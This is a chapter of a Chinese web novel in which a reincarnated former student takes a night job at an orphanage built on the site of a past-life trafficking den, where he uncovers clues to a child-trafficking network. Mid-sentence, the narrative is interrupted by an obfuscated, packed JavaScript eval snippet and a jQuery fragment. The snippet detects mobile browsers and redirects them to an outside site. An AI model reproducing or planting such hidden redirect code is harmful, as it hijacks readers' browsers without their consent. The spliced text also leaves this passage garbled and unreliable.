离开大楼时，天已大亮。
晨光刺破云层，在城市的天际线上镀了一层金边。街道开始苏醒，早班公交车的引擎声、早餐摊的吆喝声、学生们的嬉笑声——所有的声音混杂在一起，构成一个寻常的清晨。
君荼白站在楼下，却觉得自己仿佛刚从深海浮出水面。
他没有直接去孤儿院。
而是先回了趟学校。
上午九点，古籍修复实验室
实验室里弥漫着宣纸、糨糊和陈年墨香混合的味道。君荼白的导师张教授正在工作台前修补一本明代的县志，听见门响，抬起头。
“荼白？你不是请假了吗？”张教授推了推老花镜。
“张老师，我想……”君荼白顿了顿，“我想申请提前结束实习。”
张教授放下手里的镊子，仔细看着他：“出什么事了？你脸色很不好。”
“家里有些急事，需要我回去处理。”君荼白说的不算谎话，“可能短期内无法兼顾学业了。”
张教授沉默了一会儿。这个学生他记得很清楚——天赋极佳，沉得住气，是块做古籍修复的好料子。但最近几个月，君荼白的状态确实肉眼可见地变差，眼下的乌青越来越重，人也瘦了一大圈。
“图书馆那边的工作呢？”
“我等会儿就去办交接。”君荼白说，“很抱歉辜负您的期望。”
“谈不上辜负。”张教授叹了口气，“每个人都有自己的路要走。只是可惜了你的天赋……这样吧，我给你批个长期病假，保留学籍一年。如果事情处理完了，随时可以回来。”
君荼白喉头一紧：“谢谢老师。”
“需要我开什么证明吗？”
“不用了。”君荼白摇头，“我自己能处理。”
张教授走到书架旁，取下一本薄薄的手册递给他：“这是我整理的古籍修复基础要点，你留着。就算以后不做这行，也是个念想。”
君荼白双手接过，深深鞠了一躬。
上午十点半，图书馆古籍修复部
交接比想象中顺利。
部门的王主任是个通情达理的中年女人。她早就注意到君荼白最近的精神状态，私下还跟同事说“这孩子是不是得了什么病”。
“小君啊，身体最重要。”王主任在离职单上签字，“你手头那批清代地方志，我会让小刘接着做。工资结算到这个月底，多给你算半个月，就当是营养费。”
“不用这么多……”
“拿着吧。”王主任拍拍他的肩，“等你养好身体，如果想回来，随时联系我。”
君荼白收拾了自己工作台的私人物品——一支用了三年的毛笔，一个青瓷笔洗，几本工作笔记。东西不多，一个纸箱就装下了。
离开图书馆时，他在门口站了一会儿。
阳光透过高大的玻璃窗洒进来，在磨石子地面上投下斑驳的光影。阅览室里坐满了学生，安静得只能听见翻书声和笔尖划过纸张的沙沙声。
这个世界如此平静。
而他即将踏入的，是截然不同的另一个世界。
中午十二点，林澈赞助的公寓
林澈正在煮泡面，听见开门声，从厨房探出头。
“荼白？你这两天去哪了？电话也打不通。”
君荼白把纸箱放在地上：“处理了点事。”
林澈关掉火，走过来，仔细打量他：“你……要搬走？”
“嗯。”君荼白尽量让语气平静，“家里出了点事，我得回去一趟。可能短期内不会回来了。”
“那学业怎么办？”
“办了休学。”
林澈愣住了。他太了解君荼白了——这个室友虽然话不多，但做事极有规划，绝不是会轻易放弃学业的人。
“是不是因为……”林澈压低声音，“因为那些噩梦？”
君荼白没有否认。
“我去看了医生。”他说了部分实话，“医生说可能是严重的神经衰弱，建议我换个环境静养。老家那边空气好，适合休养。”
“那也不用休学啊！你可以请假，我陪你……”
“林澈。”君荼白打断他，声音很轻，“谢谢你一直照顾我。但有些路，得我自己走。”
房间里安静下来。
窗外的梧桐树上，知了在拼命嘶鸣。
林澈张了张嘴，最终什么也没说。他转身走进卧室，很快又出来，手里拿着一个信封。
“这个月的房租我已经交了，如果押金退回来大概有一千二。”他把信封塞到君荼白手里，“你拿着，路上用。”
“不用……”
“拿着！”林澈难得强硬，“就当是我借你的。等你好了，回来请我吃饭。”
君荼白看着手里的信封，喉咙发紧。
一千多年来，他经历过太多离别。但每一次，面对真诚的善意时，还是会动容。
“我会回来的。”他说，“到时候一定请你吃大餐。”
“说定了。”林澈笑了，眼眶有点红，“那你现在去哪？我送你。”
“不用，我叫了车。”君荼白提起收拾好的行李箱——其实没多少东西，几件衣服，几本书，还有沈鉴给他的那个档案袋，“你下午不是有课吗，你哪次缺勤过？”
“为你逃一节没事……”
“好好上课。”君荼白拍拍他的肩，“等我安顿下来，给你打电话。”
林澈送他到楼下。
出租车已经等在路边。司机帮忙把行李箱放进后备箱，君荼白拉开车门，又回头看了一眼。
林澈站在公寓楼门口，冲他挥手。
阳光太刺眼，君荼白看不清他脸上的表情。
车子驶离校园，汇入车流。
君荼白靠在椅背上，闭上眼睛。
手腕上的疤痕又开始发烫。
他知道，从这一刻起，学生君荼白的生活正式结束了。
接下来的路，是属于亡命徒君荼白的路。
下午一点，城南老区
出租车停在巷子口。
“里面车开不进去了。”司机指了指狭窄的巷子，“你往前走大概两百米，右手边有个红砖院子，就是孤儿院。”
君荼白付钱下车。
巷子很窄，两旁是低矮的老式居民楼，墙皮剥落，露出里面暗红色的砖块。地面铺着青石板，缝隙里长着青苔，湿漉漉的——昨晚的雨还没有完全干透。
空气里有煤球炉的味道，有晾晒衣服的肥皂味，还有远处飘来的油条香。
一个再普通不过的老城区早晨。
但君荼白的心跳却在加速。
他慢慢地往前走，每一步都踏得很稳，但手心却在冒汗。
一千多年了。
那个地方，在他的记忆里永远是黑暗的、潮湿的、充满血腥味和绝望的。他无法想象，那样的地方怎么可能在这一世变成孤儿院——一个本该充满希望的地方。
走到巷子中段时，他停下了。
右手边，确实有一个红砖院子。
院墙不高，大概两米左右，墙头上爬着枯萎的爬山虎藤蔓。铁门是黑色的，有些锈迹，门楣上挂着一块木牌，上面用楷体写着四个字：
归家孤儿院
字是手写的，漆已经斑驳，但能看出笔力很稳。
君荼白站在门外，一动不动。
他以为自己会恐惧，会恶心，会想起那些不堪的记忆。
但没有。
他只是平静地看着那扇门，看着那块牌子，看着院子里隐约露出的老式二层小楼的屋顶。
平静得让他自己都感到诧异。
“找谁呀？”
一个清脆的声音从身后传来。
君荼白转过身，看见一个小女孩站在巷子对面，大概七八岁的样子，扎着两个羊角辫，背着粉红色的书包，正歪着头好奇地看着他。
“我……”他清了清嗓子，“我来找秦院长。”
“秦奶奶在院里呢！”小女孩蹦蹦跳跳地跑过来，很自然地推开铁门——门没锁，“进来吧，我带你去！”
铁门发出“吱呀”的声响。
院子里的景象展现在眼前。
和君荼白想象的完全不一样。
既不阴暗，也不破败。院子不大，但收拾得很干净。左边有一小片菜地，种着些青菜和葱；右边有个简陋的游乐设施——一个掉了漆的滑梯，一架旧秋千，还有个用轮胎做成的跷跷板。
正对院门的是一栋二层红砖小楼，墙面爬满了枯萎的爬山虎，但窗户擦得很干净，窗台上还摆着几盆绿萝。
楼门口，一个头发花白的老太太正弯着腰扫地。听见门响，她抬起头。
“小玲，你怎么又跑回来啦？”老太太的声音很温和，“不是去上学了吗？”
“我忘带水杯啦！”小女孩跑进楼里，很快又跑出来，手里拿着一个蓝色的塑料水杯，“秦奶奶，这个叔叔找你！”
老太太直起身，看向君荼白。
她的年纪大概六十多岁，身材瘦小，穿着朴素但整洁的灰色外套，戴着一副老花镜。眼神很温和，但透着一股历经世事的平静。
“您是……”她问。
“我是君荼白。”君荼白走到她面前，“陆予瞻先生介绍我来的。”
秦院长的表情有瞬间的凝滞。
很细微，但君荼白捕捉到了。
“陆先生啊……”她慢慢放下扫帚，“他跟我提过你。说你最近在找工作，想找个地方暂住。”
“是的。”君荼白点头，“他说您这里可能需要夜间管理员。”
“需要是需要的。”秦院长上下打量他，“但这份工作不轻松。夜里要巡夜，要照顾孩子，有时候孩子生病了，一晚上都睡不了觉。工资也不高，你确定要做？”
“我确定。”
秦院长看了他几秒，然后点头：“那进来吧，我们里面谈。”
小楼的一楼是客厅兼活动室。空间不大，但布置得很温馨。墙上贴着孩子们的画，色彩鲜艳，笔触稚嫩。书架上有不少旧书，大多半旧，但都摆放得整整齐齐。沙发上铺着手工织的毛线垫子，茶几上放着几个歪歪扭扭的陶艺作品，一看就是孩子们的手工。
“坐。”秦院长倒了杯热水递给他，“我这里条件简陋，你将就一下。”
“谢谢。”
君荼白在沙发上坐下。秦院长在他对面坐下，摘下眼镜擦了擦，又重新戴上。
“陆先生说，你人可靠，有耐心。”她缓缓开口，“但我得先问清楚，你为什么想来这里工作？”
君荼白来之前想过这个问题。他不能说实话，但也不想说谎。
“我需要一份包住的工作。”他说，“而且……我想做点有意义的事。”
“照顾孩子可不只是‘有意义’那么简单。”秦院长的眼神很锐利，“这些孩子，大多都有过不好的经历。有些是被遗弃的，有些是父母双亡，还有些……是从不好的地方被救出来的。他们敏感，脆弱，有时候会做噩梦，会哭闹，会不信任大人。”
她顿了顿。
“你能应付吗？”
君荼白沉默了一下。
然后他说：“我小时候……也在孤儿院待过。”
这句话说出来，他自己都愣了一下。
这不是他准备好的说辞，但就这么自然而然地脱口而出。
秦院长的表情柔和了一些。
“哪家孤儿院？”
“不记得名字了。”君荼白说，“很小的时候，后来……被人领养了。”
“领养家庭对你好吗？”
君荼白没有立刻回答。
他低头看着手里的水杯，看着杯口袅袅升起的热气。
“不好。”他最终说，“所以后来我逃走了。”
客厅里安静了几秒。
然后秦院长轻轻叹了口气。
“我明白了。”她说，“所以你想来帮助这些孩子，因为你知道那种感觉。”
“是的。”
秦院长看着他，看了很久。
“那行。”她终于点头，“你先试试看。包吃住，月薪三千，主要工作是晚上七点到早上七点。白天你可以自由安排，只要不打扰孩子们学习和休息就行。”
“好。”
“不过有一点我要强调，”秦院长的语气变得严肃，“不能带外人进来，尤其是晚上。这是为了孩子们的安全。”
“明白。”
秦院长站起来：“走吧，我带你去看看房间。”
房间在二楼最里面，不大，但干净。一张单人床，一张书桌，一个衣柜，一扇窗。窗外正对着后院，能看到后院的几棵老树和一个简陋的晾衣架。
“条件简陋，你将就一下。”秦院长说，“卫生间在走廊尽头，浴室在一楼。吃饭跟孩子们一起吃，厨房的刘阿姨负责做饭。”
君荼白点点头。
他的目光落在房间的墙壁上——是老式的红砖墙，没有粉刷，砖缝里还能看到陈年的灰浆。
这个房间的结构……
他走到墙边，手指轻轻抚过砖缝。
记忆突然闪现——
黑暗。铁链的碰撞声。压抑的哭声。
同样的红砖墙，同样的砖缝，但墙上沾着暗红色的污渍，空气里是血腥味和霉味。
“……小君？”
秦院长的声音把他拉回现实。
“没事吧？”老太太担心地看着他，“脸色突然很白。”
“……没事。”君荼白收回手，“可能有点低血糖。”
“那你先休息一下。”秦院长说，“午饭时间是十二点，在楼下餐厅。下午孩子们放学回来，你可以先熟悉熟悉他们。”
“好。谢谢秦院长。”
秦院长离开后，君荼白关上门，背靠着门板缓缓坐下。
手腕上的疤痕烫得惊人。
他抬起手，看着那道月牙形的痕迹。
就是这里。
这个房间，或者这个位置的房间，在第一世的时候，是关押受害者的地方。
他记得那面墙。记得砖缝的走向。记得墙角那个因为潮湿而形成的暗色水渍——现在那水渍不见了，墙被重新砌过，但砖块的排列方式，和记忆里一模一样。
146个轮回了，一千多年过去了。
墙壁还在，但墙里墙外的世界，已经完全不一样了。
君荼白站起来，走到窗边，推开窗。
后院比前院更简陋。几棵老树，一个石桌，几个石凳，角落堆着些杂物。院墙外是一片待建的空地，长满了荒草。
他的目光落在空地边缘。
那里，有一小片地面明显被清理过，土是新的，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052005|194818||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是最近才翻动过。
三个月前。
王建国和李秀兰被陈海复仇，就发生在那个仓库——如果这个孤儿院真的是仓库改建的，那么仓库的主体建筑应该还在。
他仔细打量这栋小楼的结构。
二层，红砖，坡屋顶，朝南的窗户比较多——这确实很像老式仓库改建的。很多废弃仓库被改造成廉租房或者小作坊，加隔墙，开窗户，就变成了居住空间。
但如果是这样……
君荼白的心跳加快了。
如果这里真的是第一世那个仓库，那么地下室的入口在哪里？
按照记忆，地下室在一楼东北角，入口被一个沉重的货架掩盖。现在一楼被改造成客厅、餐厅、厨房和孩子们的活动室，那个位置……
他快步下楼。
秦院长正在厨房和刘阿姨说话，看见他下来，问：“怎么了？”
“我想熟悉一下楼里的布局。”君荼白尽量让声音自然，“万一晚上孩子有什么情况，我得知道各个房间的位置。”
“应该的。”秦院长走出来，“我带你看看。”
一楼除了公共区域，还有两个房间，是给年龄最小的孩子住的。秦院长自己的房间在一楼最里面，旁边是储藏室。
走到储藏室门口时，君荼白停下了。
这个房间的位置，正好是一楼东北角。
“这里面是些杂物和过季的被褥。”秦院长推开储藏室的门，“平时不怎么用，锁着的。”
君荼白往里看去。
房间不大，堆着些纸箱和旧家具。地面铺着老式的水磨石，已经磨损得很严重了。
但在地面中央，有一块区域的颜色明显不同——更深，更暗，像是经常被重物压着。
“这地板……”他指了指。
“哦，那个啊。”秦院长说，“之前这里有个老式的保险柜，很重，搬走之后留了个印子。我本来想重新铺一下地板，但经费不够，就暂时这样了。”
君荼白点点头，没有多问。
但他的心跳得很快。
就是这里。
第一世的时候，那个掩盖地下室入口的货架，就放在这个位置。货架很重，常年压着同一块地面，所以留下了痕迹。
而现在，痕迹还在。
只是货架变成了保险柜，地下室入口……可能已经被封死了。
“秦院长，”他装作随意地问，“这栋楼以前是做什么的？我看结构不像普通的居民楼。”
秦院长沉默了一下。
“以前啊……”她轻声说，“以前是个仓库。后来废弃了，政府拍卖，我就买下来，改造成了孤儿院。”
“仓库？存什么的？”
“不清楚。”秦院长摇摇头，“我接手的时候，里面已经空了，只剩些破烂货架和废纸箱。收拾了好几个月才弄干净。”
她顿了顿，看向君荼白。
“这地方……以前可能不太干净。刚搬进来的时候，孩子们老说晚上听到奇怪的声音。哭啊，脚步声啊，还有铁链子响。我就请了师父来做法事，后来又重新装修了一遍，才慢慢好了。”
君荼白感觉后背发冷。
奇怪的声音。
哭。脚步声。铁链子响。
那不就是……
“不过现在没事了。”秦院长笑了笑，“都过去十五年了。孩子们住得挺习惯，也没再说过那些话。”
“那就好。”
参观完一楼，君荼白回到自己房间。
他关上门，背靠着门板，深呼吸。
手腕上的疤痕还在发烫，但热度已经不像刚才那么强烈了。
现在他知道了两件事：
第一，这里确实是第一世那个仓库。
第二，地下室入口可能还在，只是被掩盖了。
但他不确定自己要不要去探查。
如果地下室真的还在，里面会有什么？那些黑暗的记忆？还是……其他东西？
而且秦院长看起来是个好人。她把这些从地狱变成了庇护所，把曾经充满痛苦的地方变成了孩子们的家。如果他贸然行动，会不会破坏这里的平静？
正想着，手机震动起来。
是陆予瞻。
君荼白接起来。
“你在哪儿？”陆予瞻的声音有些急。
“在归家孤儿院。刚和秦院长谈好，今晚开始上班。”
电话那头沉默了几秒。
“你……还好吗？”陆予瞻问，“那个地方，对你来说……”
“我很好。”君荼白说，“比我想象的好。这里现在……很温暖。”
“那就好。”陆予瞻松了口气，“你想起来了很多可怕的回忆。我怕你……”
“不会。”君荼白打断他，“相反，我觉得……那样很好。”
电话那头又沉默了。
良久，陆予瞻才开口，声音有些哑：“谢谢。”
“不用谢。”君荼白说，“是我该谢谢你们。谢谢你们这一百多年……都没有放弃。”
“永远不会放弃。”陆予瞻说，“对了，有件事要告诉你。沈鉴在陈海的后续调查里，发现了一点东西。”
“什么？”
“王建国和李秀兰这二十多年来，不止‘收养’过陈山一个孩子。”陆予瞻的声音变得低沉，“根据陈海找到的一些旧记录，他们至少经手过七八个孩子。都是从各地的孤儿院‘领养’，然后……不知所踪。”
君荼白的心沉下去。
“那些孩子……”
“大部分可能已经没了。”陆予瞻说，“但沈鉴在整理那些记录时，发现了一个规律——王建国每隔三到五年，就会‘领养’一个孩子。时间很有规律，像是在完成某种……任务。”
“任务？”
“像是有人在指示他做这些事。”陆予瞻说，“沈鉴怀疑，王建国可能只是一个执行者。上面还有人，一个更大的网络。”
君荼白想起第一世的记忆——那个跨国人口贩卖集团。
“那个集团……还在？”
“可能换了个形式，但还在。”陆予瞻说，“所以你要小心。孤儿院那个地方，可能不仅仅是过去的犯罪现场，也可能是……某个环节的一部分。”
“你是说，秦院长她……”
“我不确定。”陆予瞻说，“秦院长我认识很多年了，她是个好人。但有时候，好人也会在不知情的情况下，成为某些事情的一环。”
君荼白明白了。
“我会注意的。”
“周屹会在附近。”陆予瞻说，“他不会进孤儿院，但会在外面守着。如果你发现什么不对劲，随时联系他——或者联系我。”
“好。”
挂断电话后，君荼白走到窗边，看着后院。
阳光下，那几棵老树的影子在地上拉得很长。
看起来那么平静。
但平静之下，藏着多少秘密？
一百多次的轮回。
147个失踪的孩子。
一个本该死去的仓库，现在成了孤儿院。
而他自己，在经历了147次死亡后，又回到了这里。
这一次，会有什么不同吗？
他不知道。
他只知道这一次一定要结束。
无论付出什么代价。